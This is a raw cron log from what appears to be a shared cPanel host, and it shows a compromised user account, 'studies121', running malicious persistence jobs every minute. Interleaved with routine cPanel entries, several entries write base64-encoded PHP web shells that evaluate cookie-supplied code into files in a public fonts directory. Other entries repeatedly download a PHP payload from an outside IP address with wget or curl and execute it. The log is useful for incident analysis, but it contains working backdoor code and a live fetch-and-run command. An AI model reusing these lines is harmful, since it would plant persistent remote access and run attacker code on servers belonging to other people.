Sep  8 20:18:01 ip-184-168-122-23 CROND[18699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:19:01 ip-184-168-122-23 CROND[18792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:19:01 ip-184-168-122-23 CROND[18794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:19:01 ip-184-168-122-23 CROND[18795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:19:01 ip-184-168-122-23 CROND[18796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18896]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18898]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:20:01 ip-184-168-122-23 CROND[18903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:20:01 ip-184-168-122-23 CROND[18909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:20:01 ip-184-168-122-23 CROND[18913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:21:01 ip-184-168-122-23 CROND[19007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:21:01 ip-184-168-122-23 CROND[19009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:21:01 ip-184-168-122-23 CROND[19011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:21:01 ip-184-168-122-23 CROND[19012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:22:01 ip-184-168-122-23 CROND[19194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:22:01 ip-184-168-122-23 CROND[19195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:22:01 ip-184-168-122-23 CROND[19193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:22:01 ip-184-168-122-23 CROND[19191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:22:01 ip-184-168-122-23 CROND[19192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:23:01 ip-184-168-122-23 CROND[19286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:23:01 ip-184-168-122-23 CROND[19290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:23:01 ip-184-168-122-23 CROND[19289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:23:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:24:01 ip-184-168-122-23 CROND[19374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:24:01 ip-184-168-122-23 CROND[19376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:24:01 ip-184-168-122-23 CROND[19377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:24:01 ip-184-168-122-23 CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:24:01 ip-184-168-122-23 CROND[19379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:25:02 ip-184-168-122-23 CROND[19465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:25:02 ip-184-168-122-23 CROND[19467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:25:02 ip-184-168-122-23 CROND[19468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:25:02 ip-184-168-122-23 CROND[19469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:25:02 ip-184-168-122-23 CROND[19470]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 20:25:02 ip-184-168-122-23 CROND[19471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:25:02 ip-184-168-122-23 CROND[19472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:26:01 ip-184-168-122-23 CROND[19577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:26:01 ip-184-168-122-23 CROND[19579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:26:01 ip-184-168-122-23 CROND[19581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:26:01 ip-184-168-122-23 CROND[19583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:26:01 ip-184-168-122-23 CROND[19584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:26:01 ip-184-168-122-23 CROND[19580]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  8 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 20:27:01 ip-184-168-122-23 CROND[19827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:27:01 ip-184-168-122-23 CROND[19828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:27:01 ip-184-168-122-23 CROND[19830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:27:01 ip-184-168-122-23 CROND[19829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:28:01 ip-184-168-122-23 CROND[19909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:28:01 ip-184-168-122-23 CROND[19912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:28:01 ip-184-168-122-23 CROND[19914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:28:01 ip-184-168-122-23 CROND[19911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:28:01 ip-184-168-122-23 CROND[19913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:29:01 ip-184-168-122-23 CROND[20005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:29:01 ip-184-168-122-23 CROND[20007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:29:01 ip-184-168-122-23 CROND[20008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:29:01 ip-184-168-122-23 CROND[20009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:30:01 ip-184-168-122-23 CROND[20094]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20098]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:30:01 ip-184-168-122-23 CROND[20099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
